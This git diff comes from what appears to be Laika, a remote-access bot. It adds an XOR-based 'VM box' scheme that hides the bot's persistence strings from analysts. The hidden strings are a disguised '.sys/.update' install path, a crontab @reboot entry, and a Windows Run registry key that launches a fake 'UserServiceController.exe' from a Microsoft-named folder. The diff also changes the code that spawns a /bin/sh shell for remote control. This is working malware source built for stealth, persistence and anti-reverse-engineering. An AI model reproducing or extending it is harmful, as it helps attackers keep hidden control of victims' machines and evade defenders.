diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 44cd991..f61419b 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -46,7 +46,7 @@ Laika has a simple binary protocol & a small backend (see `lib/src/lpeer.c`) to Tasks can be scheduled on a delta-period (call X function every approximate N seconds). laikaT_pollTasks() is used to check & run any currently queued tasks. This is useful for sending keep-alive packets, polling shell pipes, or other repeatably scheduled tasks. Most laikaT_pollTasks() calls are done in the peerHandler for each client/server. ## Lib: VM Boxes -Laika has a tiny VM for decrypting sensitive information (currently unused, but functional). For details on the ISA read `lib/include/lvm.h`, for information on how to use them read `lib/include/lbox.h`. Feel free to write your own boxes and contribute them :D +Laika has a tiny VM for decrypting sensitive information. For details on the ISA read `lib/include/lvm.h`, for information on how to use them read `lib/include/lbox.h`. Feel free to write your own boxes and contribute them :D ## Bot: Platform-specific backends diff --git a/bot/lin/linpersist.c b/bot/lin/linpersist.c index 17d4883..7a4c756 100644 --- a/bot/lin/linpersist.c +++ b/bot/lin/linpersist.c @@ -10,16 +10,10 @@ #include "lconfig.h" #include "lsocket.h" #include "lerror.h" +#include "lbox.h" +#include "lboxconfig.h" #include "lmem.h" -/* we want a semi-random file lock that is stable between similar builds, -* so we use the GIT_VERSION as our file lock :D */ -#define LAIKA_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT - -/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */ -#define LAIKA_INSTALL_DIR_USER ".sys" -#define LAIKA_INSTALL_FILE_USER ".update" - static int laikaB_lockFile; /* check if laika is running as super-user */ @@ -29,15 +23,18 @@ bool laikaB_checkRoot() { /* mark that laika is currently running */ void laikaB_markRunning() { + LAIKA_BOX_STARTVAR(char*, filePath, LAIKA_BOX_SKID(LAIKA_LIN_LOCK_FILE_KEY), LAIKA_LIN_LOCK_FILE_DATA); + /* create lock file */ - if ((laikaB_lockFile = open(LAIKA_LOCK_FILE, O_RDWR | O_CREAT, 0666)) == -1) - LAIKA_ERROR("Couldn't open file lock! Another LaikaBot is probably running.\n"); + if ((laikaB_lockFile = open(filePath, O_RDWR | O_CREAT, 0666)) == -1) + LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n", filePath); /* create lock */ if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0) LAIKA_ERROR("Failed to create file lock!\n"); LAIKA_DEBUG("file lock created!\n"); + LAIKA_BOX_ENDVAR(filePath); } /* unmark that laika is currently running */ @@ -70,13 +67,17 @@ void getInstallPath(char *outPath, int pathSz) { } /* create install directory if it doesn't exist */ - snprintf(outPath, pathSz, "%s/%s", home, LAIKA_INSTALL_DIR_USER); + LAIKA_BOX_STARTVAR(char*, dirPath, LAIKA_BOX_SKID(LAIKA_LIN_INSTALL_DIR_KEY), LAIKA_LIN_INSTALL_DIR_DATA); + LAIKA_BOX_STARTVAR(char*, filePath, LAIKA_BOX_SKID(LAIKA_LIN_INSTALL_FILE_KEY), LAIKA_LIN_INSTALL_FILE_DATA); + snprintf(outPath, pathSz, "%s/%s", home, dirPath); if (stat(outPath, &st) == -1) { LAIKA_DEBUG("creating '%s'...\n", outPath); mkdir(outPath, 0700); } - snprintf(outPath, pathSz, "%s/%s/%s", home, LAIKA_INSTALL_DIR_USER, LAIKA_INSTALL_FILE_USER); + snprintf(outPath, pathSz, "%s/%s/%s", home, dirPath, filePath); + LAIKA_BOX_ENDVAR(dirPath); + LAIKA_BOX_ENDVAR(filePath); } bool checkPersistCron(char *path) { @@ -100,16 +101,18 @@ bool checkPersistCron(char *path) { } void tryPersistCron(char *path) { + LAIKA_BOX_STARTVAR(char*, cronCMD, LAIKA_BOX_SKID(LAIKA_LIN_CRONTAB_ENTRY_KEY), LAIKA_LIN_CRONTAB_ENTRY_DATA); char cmd[PATH_MAX + 128]; /* should be 'safe enough' */ - snprintf(cmd, PATH_MAX + 128, "(crontab -l ; echo \"@reboot %s\")| crontab -", path); + snprintf(cmd, PATH_MAX + 128, cronCMD, path); /* add laika to crontab */ if (system(cmd)) LAIKA_ERROR("failed to install '%s' to crontab!\n", path); LAIKA_DEBUG("Installed '%s' to crontab!\n", path); + LAIKA_BOX_ENDVAR(cronCMD); } /* try to gain persistance on machine */ diff --git a/bot/lin/linshell.c b/bot/lin/linshell.c index cebd516..2a2e1f8 100644 --- a/bot/lin/linshell.c +++ b/bot/lin/linshell.c @@ -13,6 +13,8 @@ #include "bot.h" #include "shell.h" +#define LAIKA_LINSHELL_PATH "/bin/sh" + struct sLaika_RAWshell { struct sLaika_shell _shell; int pid; @@ -30,7 +32,7 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro if (shell->pid == 0) { /* child process, clone & run shell */ - execlp("/bin/sh", "sh", (char*) NULL); + execlp(LAIKA_LINSHELL_PATH, "sh", (char*) NULL); exit(0); } diff --git a/lib/include/lbox.h b/lib/include/lbox.h index 8b4475e..d0d62fd 100644 --- a/lib/include/lbox.h +++ b/lib/include/lbox.h @@ -8,9 +8,14 @@ #include "lvm.h" #include "lsodium.h" +#define LAIKA_BOX_SCRATCH_SIZE 128 #define LAIKA_BOX_HEAPSIZE 256 -#define LAIKA_BOX_UNLOCKED_INDX 0 -#define LAIKA_BOX_DATA_INDX 1 + +enum { + LAIKA_BOX_UNLOCKED_INDX, /* for output */ + LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */ + LAIKA_BOX_DATA_INDX /* for input */ +}; /* Laika Box: Laika Boxes are obfuscated storage mediums where data is only in memory for a very short amount of time. @@ -21,13 +26,32 @@ for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable. Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string dumping. Some predefined boxes are made for you to use. + + Use LAIKA_BOX_STARTVAR & LAIKA_BOX_ENDVAR for quick and dirty usage. The data macros in `lboxconfig.h` are passed + to these, which are generated by VMBoxGen (`tools/vmboxgen`). */ struct sLaikaB_box { uint8_t unlockedData[LAIKA_BOX_HEAPSIZE]; + uint8_t scratch[LAIKA_BOX_SCRATCH_SIZE]; uint8_t code[LAIKA_VM_CODESIZE]; }; +#define LAIKA_BOX_STARTVAR(type, ident, box, datamacro) \ + uint8_t __data##ident[LAIKA_VM_CODESIZE] = datamacro; \ + type ident; \ + struct sLaikaB_box __box##ident = box; \ + laikaB_unlock(&__box##ident, __data##ident); \ + ident = (type)__box##ident.unlockedData; + +#define LAIKA_BOX_ENDVAR(ident) \ + laikaB_lock(&__box##ident); + +#define LAIKA_BOX_NOOP { \ + .unlockedData = {0}, \ + .code = {0} \ +} + /* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol [SEE tools/vmtest/src/main.c] */ #define LAIKA_BOX_SKID(_key) { \ .unlockedData = {0}, /* reserved */ \ @@ -56,6 +80,7 @@ LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) { /* boxes have 2 reserved constants, [0] for the output, [1] for the input */ .constList = { [LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData), + [LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch), [LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data), }, .code = {0}, @@ -71,6 +96,7 @@ LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) { /* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */ LAIKA_FORCEINLINE void* laikaB_lock(struct sLaikaB_box *box) { sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE); + sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE); } #endif \ No newline at end of file diff --git a/lib/include/lboxconfig.h b/lib/include/lboxconfig.h new file mode 100644 index 0000000..944226f --- /dev/null +++ b/lib/include/lboxconfig.h @@ -0,0 +1,24 @@ +/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */ +#ifndef LAIKA_VMBOX_CONFIG_H +#define LAIKA_VMBOX_CONFIG_H + +#define LAIKA_LIN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x48, 0xe9, 0x33, 0x23, 0xd5, 0xc7, 0x73, 0x20, 0x35, 0xcf, 0x17, 0x5d, 0x20, 0x04, 0x3a, 0x86, 0x2e, 0xe6, 0x39, 0xf9, 0xbc, 0x76, 0x79, 0x67, 0x85, 0x07, 0x16, 0xc1, 0x46, 0x18, 0xf7, 0x8e, 0x81, 0x2b, 0x31, 0x58, 0xf2, 0xa4, 0x78, 0x29, 0xf4, 0x10, 0x06, 0x94, 0x14, 0x40, 0x9a, 0x42, 0xa6, 0xd4, 0xbb, 0x64, 0xca, 0xb5, 0x4b, 0x50, 0xbc, 0x61, 0x12, 0x04, 0x79, 0x0a, 0x12, 0x7b, 0xb4, 0xc3, 0xd3, 0xa8, 0xe7, 0xcb, 0x51, 0x5c, 0xdb, 0x57, 0xf0, 0xef, 0x17, 0x8c, 0xb2, 0xbd, 0xe0, 0x6e, 0x22, 0xab, 0x24, 0xed, 0xfb, 0xe1, 0x4f, 0x8d, 0x65, 0x49, 0x18, 0xf6, 0xc4, 0xcc, 0x3a, 0x98, 0x75, 0x23, 0x64, 0xc6, 0x7f, 0xc0, 0x9d, 0xf0, 0xb0, 0xb4, 0xfc, 0x63, 0x73, 0xdd, 0x52, 0x15, 0x09, 0xf5, 0x03, 0x84, 0x57, 0x53, 0x12, 0x3c, 0x1c, 0x2a, 0xb3, 0xe0, 0x77, 0xed, 0xf8, 0xec, 0x11, 0xdc, 0x34, 0x11, 0x9d, 0x51, 0x81, 0x4f, 0x07, 0x7e, 0x32, 0xf9, 0xdb, 0x04, 0x0f, 0xe4, 0xfa, 0x92, 0x69, 0xd1, 0x65}; +#define LAIKA_LIN_INSTALL_DIR_KEY 0x7b +#define LAIKA_LIN_INSTALL_DIR_DATA {0x55, 0x08, 0x02, 0x08, 0x7b, 0x0f, 0x81, 0x26, 0xc2, 0xe1, 0x9d, 0x30, 0xda, 0x0a, 0xc1, 0xb7, 0xbd, 0x52, 0xd5, 0x10, 0xd3, 0xa4, 0x96, 0xd1, 0xd6,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ae, 0xcc, 0xa4, 0xb7, 0xc0, 0xe5, 0xb9, 0x3d, 0x76, 0x91, 0x2d, 0x5a, 0x1e, 0x20, 0x6b, 0xe2, 0x9f, 0x47, 0x52, 0xbd, 0xcf, 0xc6, 0xf5, 0xb5, 0x59}; +#define LAIKA_WIN_INSTALL_DIR_KEY 0x1b +#define LAIKA_WIN_INSTALL_DIR_DATA {0x56, 0x72, 0x78, 0x69, 0x74, 0x68, 0x74, 0x7d, 0x6f, 0x1b, 0x1c, 0x65, 0x42, 0x20, 0xfd, 0x71, 0xec, 0xa2, 0x29, 0xad, 0x08, 0x62, 0xeb, 0x7e, 0x73, 0x98, 0x59, 0x11, 0xb8, 0xc4, 0xf3, 0x59, 0x8b, 0x47, 0x96, 0xda, 0x8d, 0x0c, 0x91, 0xe6, 0xa6, 0xad, 0xcb, 0xe9, 0xcd, 0xc9, 0x5b, 0xba, 0x6c, 0x04, 0xe8, 0x75, 0xe5, 0x54, 0x73, 0x59, 0xec, 0x4c, 0xe9, 0x25, 0x11, 0x5e, 0xfd, 0x1c, 0x25, 0x94, 0xf7, 0xb2, 0x20, 0x09, 0x19, 0xc7, 0xb6, 0xe4, 0x31, 0x04, 0xae, 0x0c, 0x3e, 0x9a, 0x8f, 0x27, 0x8f, 0x75, 0xfa, 0x04, 0x4e, 0xe7, 0x50, 0x38, 0x0e, 0xe1, 0x16, 0x8b, 0x7d, 0x3b, 0xa0, 0xf4, 0xed, 0xc0, 0xfd, 0x07, 0x08, 0x34, 0xeb, 0xb8, 0x38, 0x9a, 0xc4, 0xf6, 0x36, 0x54, 0x9d, 0x45, 0x49, 0x99, 0x49, 0x97, 0x81, 0x1a, 0x50, 0x0f, 0x7b, 0x66, 0x9b, 0xf8, 0xa2, 0x3c, 0x6e, 0x90, 0x7c, 0x6c, 0x18, 0x85, 0xa1, 0x04, 0x3e, 0x59, 0x1f, 0x83, 0x50, 0x55, 0xd7, 0xee, 0x1a, 0xa1, 0x08, 0xe3, 0x39, 0x89, 0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x15, 0xec, 0xd4, 0xc2, 0x51, 0x87, 0xf1, 0x1c, 0x0d, 0xa2, 0x95, 0xcc, 0x44, 0xce, 0x03, 0xe0, 0xdc, 0xd1, 0x08, 0xcb, 0xa8, 0x61, 0xba, 0x66, 0xcd, 0x6e, 0x45, 0xbb, 0x7f, 0x72, 0xd4, 0x94, 0x5f, 0xa9, 0xd6, 0x30, 0xb0, 0xc8, 0x4d, 0x3e, 0xeb, 0xe2, 0x0b, 0xaf, 0xb1, 0x0f, 0x90, 0x0e, 0x60, 0x98, 0x5a, 0x88, 0x79, 0x15, 0xee, 0x47, 0x03, 0x35, 0x03, 0x82, 0x27, 0x58, 0x96, 0x87, 0x81, 0x6e, 0xb7, 0x33, 0x37, 0x84, 0x71, 0xa2, 0x67, 0xfb, 0x52, 0x99, 0x8a, 0xe2, 0xa7, 0xea, 0xfa, 0x02, 0xf2, 0x74, 0x96, 0xe2, 0x3c, 0x9a, 0x97, 0xbe, 0x9c, 0xbe, 0x96, 0x34, 0xc5, 0x19, 0xa2, 0xfd, 0x4c, 0x59, 0x82, 0x3d, 0xfc, 0xea, 0xb8, 0xce, 0x84, 0x44, 0xb2, 0xab, 0xae, 0x2d, 0xae, 0x22, 0x22, 0x45, 0x05, 0xdd, 0xdf, 0x1c, 0x1c, 0x7d, 0x5a, 0xb3, 0xb1, 0x21, 0xcc, 0xd3, 0x1f, 0x98, 0xac, 0x21, 0xd5, 0xa9, 0x8b, 0x0e, 0x79, 0x10, 0x52, 0xab, 0xbc, 0x81, 0x58, 0xea, 0xa3, 0xf9, 0x30, 0x28, 0xd7, 0x90, 0x44, 0xf4, 0x8d, 0x1e, 0xa8, 0xbe, 0x3f, 0x75, 0x92, 0xdd, 0x0e, 0x3f, 0x00, 0x63, 0x69, 0x8b, 0x71, 0x62, 0x1c, 0x44, 0x8d, 0x58, 0x45, 0x65, 0x43, 0x68, 0x60}; +#define LAIKA_WIN_INSTALL_FILE_KEY 0xf2 +#define LAIKA_WIN_INSTALL_FIL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x6d, 0xd6, 0xd9, 0x40, 0xb5, 0x46, 0x76, 0x52, 0x81, 0x48, 0x96, 0xe4, 0xb0, 0xd5, 0x7d, 0x3b, 0x67, 0x80, 0x0e, 0x36, 0xfa, 0x95, 0x0d, 0xf9, 0x05, 0x5e, 0xa2, 0x96, 0x2a, 0xf8, 0xa3, 0x97, 0x4f, 0xfd, 0x58, 0x85, 0xc3, 0x4e, 0xd7, 0x45, 0x96, 0xed, 0x2a, 0xc7, 0xc3, 0x28, 0x03, 0x2c, 0x28, 0x11, 0x62, 0xa3, 0x26, 0xee, 0x1d, 0xaa, 0x4d, 0xbf, 0x42, 0x78, 0x39, 0x65, 0x8f, 0x88, 0x63, 0x67, 0x0e, 0x27, 0xb6, 0x65, 0xeb, 0xcc, 0x54, 0x96, 0x94, 0x97, 0xbe, 0x98, 0x43, 0x66, 0x29, 0xa5, 0x0a, 0xcf, 0x15, 0x27, 0x7a, 0xe1, 0x67, 0x3c, 0xd9, 0xa0, 0xa2, 0x6a, 0xa8, 0x85, 0xd1, 0x37, 0x2d, 0x08, 0x1c, 0x19, 0xd5, 0xef, 0xaf, 0x6a, 0x88, 0xed, 0x82, 0xcb, 0xd4, 0x2c, 0xf1, 0xde, 0x7b, 0x86, 0x86, 0xf5, 0x68, 0xed, 0xb2, 0x43, 0x0e, 0xd4, 0x2d, 0x36, 0x5a, 0x7e, 0x6d, 0x07, 0x87, 0x0a, 0xa0, 0xdc, 0xf9, 0xcf, 0xc6, 0x02, 0xbe, 0xc9, 0x4e, 0x93, 0xf5, 0xbf, 0xf1}; +#define LAIKA_WIN_REG_KEY_KEY 0x71 +#define LAIKA_WIN_REG_KEY_DATA {0x22, 0x1e, 0x17, 0x05, 0x06, 0x10, 0x03, 0x14, 0x2d, 0x3c, 0x18, 0x12, 0x03, 0x1e, 0x02, 0x1e, 0x17, 0x05, 0x2d, 0x26, 0x18, 0x1f, 0x15, 0x1e, 0x06, 0x02, 0x2d, 0x32, 0x04, 0x03, 0x03, 0x14,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d3, 0xf3, 0x8e, 0x55, 0x6e, 0x17, 0x78, 0x30, 0x33, 0x92, 0x60, 0xc3, 0x2f, 0x4f, 0xee, 0x87, 0xc0, 0x50, 0x86, 0x02, 0x7c, 0x0e, 0xb9, 0xdc, 0x8a, 0x29, 0xb0, 0x50, 0x3f, 0x71, 0x1e, 0x92, 0x65, 0x2d, 0xe8, 0x53, 0x44, 0xe0, 0x84, 0xf6, 0x73, 0x64, 0xbb, 0xa3, 0x33, 0x2a, 0x2b, 0xf4, 0xf9, 0x32, 0xf6, 0x76, 0x40, 0x30, 0xd2, 0x4a, 0x59, 0x83, 0x1a, 0x18, 0xf5, 0xb8, 0xaa, 0x5b, 0xe5, 0x13, 0x2f, 0xa9, 0xf4, 0x33, 0xa0, 0xe7, 0x97, 0xdb, 0x8b, 0xca, 0x06, 0x37, 0x3f, 0x00, 0xe8, 0xb5, 0xf5, 0xa8, 0x65, 0xc9, 0xf3, 0xbe, 0xcc, 0x8d, 0x56, 0xc2, 0x46, 0x02, 0x9e, 0xab, 0x94, 0xcd, 0x55, 0x89, 0x01, 0x76, 0xf1, 0x18, 0x52, 0x7d, 0x62, 0xd8, 0x34, 0x22, 0x58}; +#define LAIKA_WIN_REG_VAL_KEY 0x1d +#define LAIKA_WIN_REG_VAL_DATA {0x48, 0x6e, 0x78, 0x6f, 0x4e, 0x78, 0x6f, 0x6b, 0x74, 0x7e, 0x78, 0x5e, 0x72, 0x73, 0x69, 0x6f, 0x72, 0x71, 0x71, 0x78, 0x6f, 0x1d, 0x57, 0x4f, 0x46, 0xbd, 0x98, 0xb9, 0xfb, 0x65, 0x47, 0x53, 0xa8, 0x0e, 0xd4, 0x47, 0xb9, 0xe8, 0x94, 0x8f, 0x73, 0x15, 0x06, 0x65, 0x2d, 0x58, 0x62, 0x0f, 0x31, 0x17, 0x31, 0x0a, 0xb3, 0x89, 0x59, 0xf9, 0xc6, 0x71, 0xb3, 0xc2, 0x56, 0x7b, 0x95, 0x7e, 0x89, 0xe9, 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 0xeb, 0x40, 0x7b, 0x32, 0x5e, 0xd3, 0x1f, 0x47, 0x81, 0x25, 0x50, 0x0e, 0x87, 0xf8, 0xe1, 0xcf, 0xe7, 0x6c, 0x9b, 0x6e, 0x9f, 0x05, 0x10, 0xa8, 0x9f, 0x39, 0x55, 0xf2, 0x71, 0xfe, 0x96, 0xdc, 0x3f, 0x12, 0x8f, 0x1d, 0x65, 0xae, 0xe3, 0xe6, 0x53, 0x34, 0xf5, 0xda, 0xac, 0x57, 0x2a, 0x15, 0xc3, 0x45, 0x83, 0xe2, 0x4a, 0x13, 0x8b, 0xea, 0x4d, 0xe0, 0xdd, 0x3e, 0x5f, 0x75, 0x1b, 0x9e, 0x07, 0xaa, 0xbb, 0x6d, 0xd8, 0x1f, 0xd3, 0x2c, 0x53, 0x49, 0x07, 0x80}; + +#endif diff --git a/test.h b/test.h new file mode 100644 index 0000000..6913b71 --- /dev/null +++ b/test.h @@ -0,0 +1,13 @@ +#ifndef LAIKA_VMBOX_CONFIG_H +#define LAIKA_VMBOX_CONFIG_H + +#define LAIKA_LIN_LOCK_FILE {0xf1, 0xaa, 0xb3, 0xae, 0xf1, 0xe9, 0xbd, 0xbf, 0xe6, 0xeb, 0xeb, 0xea, 0x1c, 0xd4, 0x0c, 0xb0, 0x98, 0xe2, 0x58, 0x7d, 0xed, 0x3a, 0x55, 0x72, 0x08, 0x30, 0x64, 0x1b, 0x9b, 0xf6, 0x06, 0xc1, 0x18, 0x17, 0xd3, 0x36, 0xd4, 0x2d, 0x63, 0x9a, 0x1d, 0xfd, 0x97, 0xb8, 0xd2, 0x23, 0x69, 0xeb, 0x06, 0x41, 0x69, 0x74, 0x7c, 0x3e, 0xe6, 0x84, 0x6e, 0x4b, 0x1f, 0x0b, 0x42, 0x25, 0xcc, 0xd9, 0xbc, 0xa0, 0x8f, 0x11, 0x4d, 0xf3, 0xac, 0x6a, 0xf1, 0x44, 0xa2, 0xc5, 0x67, 0x8c, 0xb1, 0xec, 0xcd, 0x9a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, 0x17, 0xb0, 0x22, 0x9e, 0xf2, 0x2f, 0x11, 0xdc, 0x7e, 0x97, 0xe1, 0x9c, 0xbf, 0xbb, 0xb3, 0x1d, 0xee, 0x48, 0x89, 0x7f, 0xd7, 0x27, 0x0d, 0xac, 0xfc, 0xaa, 0x41, 0x9a, 0xbd, 0xe7, 0x7e, 0xd4, 0x98, 0x20, 0xf3, 0x0c, 0x4f, 0x84, 0xe8, 0xcd, 0x9b, 0x4b, 0xea, 0x5b, 0x07, 0x9e, 0x78, 0xf5, 0x66, 0x82, 0xf4, 0x3e, 0xa9, 0x81, 0x6a, 0xa6, 0x2d, 0xac, 0xc0, 0xea, 0x94, 0xbe, 0x3f, 0xac, 0xde, 0x33, 0x38, 0x2f, 0x38, 0x22, 0x7c, 0xd3, 0xec, 0x67, 0x30, 0xf3, 0x85, 0xa8, 0x69, 0xec, 0x2b, 0xdd, 0xaa, 0x54, 0x5f, 0x16, 0x7a, 0x8c, 0x42, 0x3c, 0xf6, 0xd6, 0x7a, 0x37, 0x03, 0x5a, 0xe9, 0x3c, 0x09, 0x22, 0xdd, 0x85, 0xf6, 0x4a, 0x6d, 0xa6, 0xbd, 0x72, 0x4f, 0x27, 0x5f, 0xfa, 0x84, 0x0b, 0x4f, 0xe3, 0xa0, 0xca, 0xf0, 0xe2, 0x86, 0xe7, 0x39, 0x01, 0x9e, 0xbb, 0xda, 0x09, 0x77, 0xe3, 0x2b, 0xd4, 0xe9, 0xa1, 0x1f, 0x57, 0x48, 0xdc, 0xc9, 0x18, 0x83, 0xa9, 0x13, 0x08, 0x34, 0x62, 0x6c, 0xd4, 0xac, 0x5d, 0x37, 0xb2, 0xc4, 0xef, 0x34, 0xe3, 0xab, 0x0f, 0xec, 0x24, 0x73, 0x97, 0xf8, 0x5d, 0x3a, 0x98, 0xb4, 0x02, 0xf4, 0xfd, 0x1a, 0x79, 0x27, 0x2d, 0x01, 0x5b, 0x10}; + +#endif diff --git a/tools/CMakeLists.txt b/tools/CMakeLists.txt index e928d25..3194f4d 100644 --- a/tools/CMakeLists.txt +++ b/tools/CMakeLists.txt @@ -1,4 +1,5 @@ cmake_minimum_required(VERSION 3.10) +add_subdirectory(vmboxgen) add_subdirectory(genkey) add_subdirectory(vmtest) diff --git a/tools/vmboxgen/CMakeLists.txt b/tools/vmboxgen/CMakeLists.txt new file mode 100644 index 0000000..6aadb2a --- /dev/null +++ b/tools/vmboxgen/CMakeLists.txt @@ -0,0 +1,14 @@ +cmake_minimum_required(VERSION 3.10) + +project(VMBoxGen VERSION 1.0) + +# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder +set_property(GLOBAL PROPERTY USE_FOLDERS ON) + +# compile vmTest +file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c) +add_executable(VMBoxGen ${VMTESTSOURCE}) +target_link_libraries(VMBoxGen PUBLIC LaikaLib) + +# add the 'DEBUG' preprocessor definition if we're compiling as Debug +target_compile_definitions(VMBoxGen PUBLIC "$<$:DEBUG>") diff --git a/tools/vmboxgen/src/boxstrings.h b/tools/vmboxgen/src/boxstrings.h new file mode 100644 index 0000000..8321cf3 --- /dev/null +++ b/tools/vmboxgen/src/boxstrings.h @@ -0,0 +1,29 @@ +#ifndef LAIKA_BOXGEN_STRING_H +#define LAIKA_BOXGEN_STRING_H + +/* =============================================[[ Linux Strings ]]============================================== */ + +/* we want a semi-random file lock that is stable between similar builds, +* so we use the GIT_VERSION as our file lock :D */ +#define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT + +/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */ +#define LAIKA_LIN_INSTALL_DIR ".sys" +#define LAIKA_LIN_INSTALL_FILE ".update" + +#define LAIKA_LIN_CRONTAB_ENTRY "(crontab -l ; echo \"@reboot %s\")| crontab -" + +/* ============================================[[ Windows Strings ]]============================================= */ + +/* we want a semi-random mutex that is stable between similar builds, +* so we use the GIT_VERSION as our mutex :D */ +#define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0" + +/* looks official enough */ +#define LAIKA_WIN_INSTALL_DIR "Microsoft" +#define LAIKA_WIN_INSTALL_FILE "UserServiceController.exe" + +#define LAIKA_WIN_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run" +#define LAIKA_WIN_REG_VAL "UserServiceController" + +#endif \ No newline at end of file diff --git a/tools/vmboxgen/src/main.c b/tools/vmboxgen/src/main.c new file mode 100644 index 0000000..827b674 --- /dev/null +++ b/tools/vmboxgen/src/main.c @@ -0,0 +1,95 @@ +#include +#include +#include +#include + +#include "lmem.h" +#include "lvm.h" +#include "lbox.h" +#include "lsodium.h" + +#include "boxstrings.h" + +#define ERR(...) do { printf(__VA_ARGS__); exit(EXIT_FAILURE); } while(0); +#define RANDBYTE (rand() % UINT8_MAX) + +static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n"; +static const char *POSTAMBLE = "\n#endif\n"; + +void writeArray(FILE *out, uint8_t *data, int sz) { + int i; + + fprintf(out, "{"); + for (i = 0; i < sz-1; i++) { + fprintf(out, "0x%02x, ", data[i]); + } + fprintf(out, "0x%02x};\n", data[sz-1]); +} + +void writeDefineArray(FILE *out, char *ident, uint8_t *data) { + fprintf(out, "#define %s ", ident); + writeArray(out, data, LAIKA_VM_CODESIZE); +} + + +void writeDefineVal(FILE *out, char *ident, int data) { + fprintf(out, "#define %s 0x%02x\n", ident, data); +} + +void addPadding(uint8_t *data, int start) { + int i; + + /* if the box is less than LAIKA_VM_CODESIZE, add semi-random padding */ + for (i = start; i < LAIKA_VM_CODESIZE; i++) { + data[i] = RANDBYTE; + } +} + +uint8_t *makeSKIDdata(char *data, int sz, uint8_t *buff, int key) { + int i; + + for (i = 0; i < sz; i++) + buff[i] = data[i] ^ key; + + buff[i++] = key; /* add the null terminator */ + addPadding(buff, i); + return buff; +} + +#define MAKESKIDDATA(macro) \ + key = RANDBYTE; \ + makeSKIDdata(macro, strlen(macro), tmpBuff, key); \ + writeDefineVal(out, #macro "_KEY", key); \ + writeDefineArray(out, #macro "_DATA", tmpBuff); + +int main(int argv, char **argc) { + uint8_t tmpBuff[LAIKA_VM_CODESIZE]; + int key; + FILE *out; + + if (argv < 2) + ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen"); + + if ((out = fopen(argc[1], "w+")) == NULL) + ERR("Failed to open %s!\n", argc[1]); + + srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to slow them down */ + + fprintf(out, PREAMBLE); + /* linux */ + MAKESKIDDATA(LAIKA_LIN_LOCK_FILE); + MAKESKIDDATA(LAIKA_LIN_INSTALL_DIR); + MAKESKIDDATA(LAIKA_LIN_INSTALL_FILE); + MAKESKIDDATA(LAIKA_LIN_CRONTAB_ENTRY); + /* windows */ + MAKESKIDDATA(LAIKA_WIN_MUTEX); + MAKESKIDDATA(LAIKA_WIN_INSTALL_DIR); + MAKESKIDDATA(LAIKA_WIN_INSTALL_FILE); + MAKESKIDDATA(LAIKA_WIN_REG_KEY); + MAKESKIDDATA(LAIKA_WIN_REG_VAL); + fprintf(out, POSTAMBLE); + fclose(out); + return 0; +} + +#undef MAKEDATA diff --git a/tools/vmtest/src/main.c b/tools/vmtest/src/main.c index 0dec61e..af8c724 100644 --- a/tools/vmtest/src/main.c +++ b/tools/vmtest/src/main.c @@ -8,17 +8,15 @@ A secret message has been xor'd, the BOX_SKID is used to decode the message. */ -int main(int argv, char **argc) { - uint8_t data[] = { - 0x96, 0xBB, 0xB2, 0xB2, 0xB1, 0xFE, 0x89, 0xB1, - 0xAC, 0xB2, 0xBA, 0xFF, 0xDE, 0x20, 0xEA, 0xBA, /* you can see the key here, 0xDE ^ 0xDE is the NULL terminator lol */ - 0xCE, 0xEA, 0xFC, 0x01, 0x9C, 0x23, 0x4D, 0xEE +#define VMTEST_STR_DATA { \ + 0x96, 0xBB, 0xB2, 0xB2, 0xB1, 0xFE, 0x89, 0xB1, \ + 0xAC, 0xB2, 0xBA, 0xFF, 0xDE, 0x20, 0xEA, 0xBA, /* you can see the key here, 0xDE ^ 0xDE is the NULL terminator lol */ \ + 0xCE, 0xEA, 0xFC, 0x01, 0x9C, 0x23, 0x4D, 0xEE \ }; - struct sLaikaB_box box = LAIKA_BOX_SKID(0xDE); - - laikaB_unlock(&box, data); - printf("%s\n", box.unlockedData); - laikaB_lock(&box); +int main(int argv, char **argc) { + LAIKA_BOX_STARTVAR(char*, str, LAIKA_BOX_SKID(0xDE), VMTEST_STR_DATA) + printf("%s\n", str); + LAIKA_BOX_ENDVAR(str) return 0; }